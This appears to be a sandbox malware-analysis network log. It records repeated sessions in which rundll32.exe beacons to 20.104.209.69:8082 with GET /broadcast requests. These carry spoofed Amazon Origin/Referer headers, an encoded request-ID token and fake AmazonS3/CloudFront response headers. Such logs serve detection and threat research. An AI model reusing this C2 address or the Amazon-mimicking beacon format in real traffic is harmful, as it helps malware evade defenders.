Jan 8, 2023 16:08:01.315726995 CET	834	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:01.434345961 CET	834	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:52 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
147	192.168.2.6	49846	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:01.700321913 CET	837	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:01.818563938 CET	837	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:53 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
148	192.168.2.6	49847	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:02.086725950 CET	840	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:02.205845118 CET	841	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:53 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
149	192.168.2.6	49848	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:02.484733105 CET	843	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:02.604052067 CET	844	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:53 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.6	49713	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:02.903373003 CET	404	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:03.021806002 CET	404	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:06:54 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
150	192.168.2.6	49849	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:02.882771969 CET	847	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:03.001085043 CET	847	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:54 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
151	192.168.2.6	49850	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:03.271384954 CET	850	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:03.389884949 CET	850	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:54 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
152	192.168.2.6	49851	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:03.646610022 CET	853	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:03.765825987 CET	853	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:55 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
153	192.168.2.6	49852	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:04.038680077 CET	856	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:04.157315969 CET	857	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:55 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
154	192.168.2.6	49853	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:04.536303043 CET	859	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:04.655714035 CET	860	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:55 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
155	192.168.2.6	49854	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:05.630098104 CET	863	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:05.749304056 CET	863	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:57 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
156	192.168.2.6	49855	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:06.033204079 CET	866	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:06.151688099 CET	866	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:57 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
157	192.168.2.6	49856	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:07.781768084 CET	869	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:07.899991989 CET	869	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:59 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
158	192.168.2.6	49857	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:08.158866882 CET	872	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:08.277036905 CET	873	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:59 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
159	192.168.2.6	49858	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:08.544028997 CET	875	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:08.661688089 CET	876	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:59 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.6	49714	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:03.311574936 CET	407	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:03.430067062 CET	407	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:06:54 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
160	192.168.2.6	49859	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:08.923067093 CET	879	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:09.042417049 CET	879	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:00 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
161	192.168.2.6	49860	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:09.311758041 CET	882	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:09.430367947 CET	882	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:00 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
162	192.168.2.6	49861	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:09.694988012 CET	885	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:09.813163042 CET	885	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:01 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
163	192.168.2.6	49862	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:10.098138094 CET	888	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:10.217016935 CET	889	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:01 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
164	192.168.2.6	49863	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:10.474773884 CET	891	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
